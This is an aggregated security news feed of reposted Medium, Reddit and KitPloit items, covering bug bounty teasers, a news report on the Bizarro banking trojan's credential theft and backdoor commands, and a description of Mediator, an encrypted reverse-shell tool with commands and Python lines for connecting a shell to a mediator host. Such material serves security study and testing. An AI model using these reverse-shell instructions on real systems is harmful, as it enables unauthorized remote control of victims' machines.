Hacking on Medium
OpenCV_TotalAccess: Instantly Watch and Label All Cameras Attached to a Computer Using this Python…

https://cdn-images-1.medium.com/max/2600/0*0qHaJnAmlUskGnKd
Probably the most James Bond OpenCV script that you’ll ever use, although that’s not really saying much… @GDurendal

Continue reading on Medium »

Messing with a cheap Chinese ipcam I have. Seeing what information I can gather. I noticed in a scan you could view config.js and also dropped what looked like a url path from the code in to browser to reveal a hidden and broken password reset form... Found this md5.js aswell. Is this bad?
https://www.reddit.com/r/Pentesting/comments/nf3ilq/messing_with_a_cheap_chinese_ipcam_i_have_seeing/

submitted by /u/AussieWrath (https://www.reddit.com/user/AussieWrath)
[link] (https://www.reddit.com/gallery/nf3ilq) [comments] (https://www.reddit.com/r/Pentesting/comments/nf3ilq/messing_with_a_cheap_chinese_ipcam_i_have_seeing/)

___________________________
@hacking_Attack
@Hacking_Video

Loophole in e-learning platforms
https://inakcf.medium.com/loophole-in-e-learning-platforms-3fdfa450b4af?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

For educational purpose only. You may face consequences if you misuse the information provided here. I’m not responsible for your actions.Continue reading on Medium » (https://inakcf.medium.com/loophole-in-e-learning-platforms-3fdfa450b4af?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Bizarro Banking Trojan Sports Sophisticated Backdoor

https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bizarro Banking Trojan Sports Sophisticated BackdoorPost Views: 17
Reading Time: 1 Minute
A never-before-documented Brazilian banking trojan, dubbed Bizarro, is targeting customers of 70 banks scattered throughout Europe and South America, researchers said.
According to an analysis from Kaspersky released Monday, Bizarro is a mobile malware, aimed at capturing online-banking credentials and hijacking Bitcoin wallets from Android users. It spreads via Microsoft Installer packages, which are either downloaded directly by victims from links in spam emails or installed via a trojanized app, according to the analysis.

Once installed, it kills all running browser processes to terminate any existing sessions with online banking websites — so, when a user initiates a mobile banking session, they have to sign back in, allowing the malware to harvest the details. To maximize its success, Bizarro disables autocomplete in the browser, and even surfaces fake popups to snatch two-factor authentication codes, researchers added.

Bizarro also has a screen-capturing module.

“It loads the magnification.dll library and gets the address of the deprecated MagSetImageScalingCallback API function,” explained Kaspersky researchers. “With its help, the trojan can capture the screen of a user and also constantly monitor the system clipboard, looking for a Bitcoin wallet address. If it finds one, it is replaced with a wallet belonging to the malware developers.”

And finally, Bizarro also has a main backdoor module that is capable of carrying out more than 100 commands, according to the analysis.
See Also: ‘Scheme Flooding’ Allows Websites to Track Users Across Browsers A Fully Functional Backdoor“The core component of the backdoor doesn’t start until Bizarro detects a connection to one of the hardcoded online banking systems,” researchers explained. “The malware does this by enumerating all the windows, collecting their names. Whitespace characters, letters with accents (such as ñ or á) and non-letter symbols such as dashes are removed from the window name strings. If a window name matches one of the hardcoded strings, the backdoor continues starting up.”

The commands fall into a few main camps:

* Commands that allow the command-and-control (C2) operators to get data about the victim and manage the connection status; for instance, one asks for Bizarro’s version, OS name, computer name, Bizarro’s unique identifier, installed antivirus software and the codename used for the bank that has been accessed.
* Commands that allow attackers to search for and steal the files located on the victim’s hard drive, and those that allow adversaries to install files on the victim device.
* Commands that allow attackers to control the user’s mouse and keyboard.
* Commands that allow the attackers to control the backdoor operation, shut down, restart or destroy the operating system, and limit the functionality of Windows.
* Commands that log keystrokes.
* Commands that display various messages that trick users into giving attackers access to bank accounts, including fake popup windows (i.e., messages like “the data entered is incorrect, please try again”; error messages asking the user to enter a confirmation code; and those that tell the user that their computer needs to be restarted in order to finish a security-related operation).
* Commands that enable Bizarro to mimic online banking systems. According to Kaspersky, “To display such messages, Bizarro needs to download a JPEG image that contains the bank logo and instr[...]

___________________________
@hacking_Attack
@Hacking_Video

Finding my First Critical Web Cache Poisoning

Hey Fam! Hope you and your family are doing well amid this pandemic. This story is about the approach I took to find My 1st critical web…Continue reading on Medium »
Read more...

https://a.thumbs.redditmedia.com/lGH_1Gb7wmK71R6aCfvBkGNwB9ji2HiWcB8MRsgsMS4.jpg ​

Password protected uninstall

submitted by /u/KoolAidPickle22
[link] [comments]

hacking: security in practice
Colonial Pipeline Paid Roughly 75 Bitcoins in Ransom to Hackers to Save Fuel Lines

https://external-preview.redd.it/O0CKqD09SVgLGuDGNldwvDpICdknnMhE3cQo4GmAvKw.jpg?width=640&crop=smart&auto=webp&s=441a0940093268f5cb62347ddd02824a7a3fddc1 submitted by /u/standardworks
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Finding my First Critical Web Cache Poisoning
https://n3t-hunt3r.medium.com/finding-my-first-critical-web-cache-poisoning-6f956799371c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SSI — Server Side Include Injection

https://cdn-images-1.medium.com/max/860/1*xpnRFWyXHK6AeHbl9bjO_w.png
Let us say , we have a web application containing multiple pages , each requires a change in the specific content (like may be name of…

Continue reading on Medium »

Hacking on Medium
Writing your own hacking tool [PART 1]

https://cdn-images-1.medium.com/max/763/1*hOBUmxO3h8Njjh7Opk8vMw.png
The most efficient way of finding security vulnerabilities

Continue reading on Medium »

KitPloit - PenTest Tools!
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture

https://1.bp.blogspot.com/-zBH4shaf3ms/YKNPLT3gBTI/AAAAAAAAWMg/hFTmF0kY8UkNDR09YNHZpF39roaaTvwfgCNcBGAsYHQ/w640-h156/mediator_1_mediator.png Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.

You can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools. Architecture:Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:

1. A client reverse shell
2. A client handler/operator
3. A server that bridges the two connections

Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping. PluginsPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins. Instructions:ServerThe client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.pyor you can build a Docker image with the provided Dockerfile and run it in a container (make sure to publish ports 80 and 443). ClientsYou will need to install the dependencies found in requirements.txt) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txtSee Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies.

The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.

Mediator server address

For Python script usage, the address of the mediator host is required upon instantiation:

Handler class from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()WindowsRShell class from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -sor --serverflag:

handler.py $ python3 handler.py -s example.comwindowsTarget.py > python windowsTarget.py -s example.comConnection key

When two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connectio[...]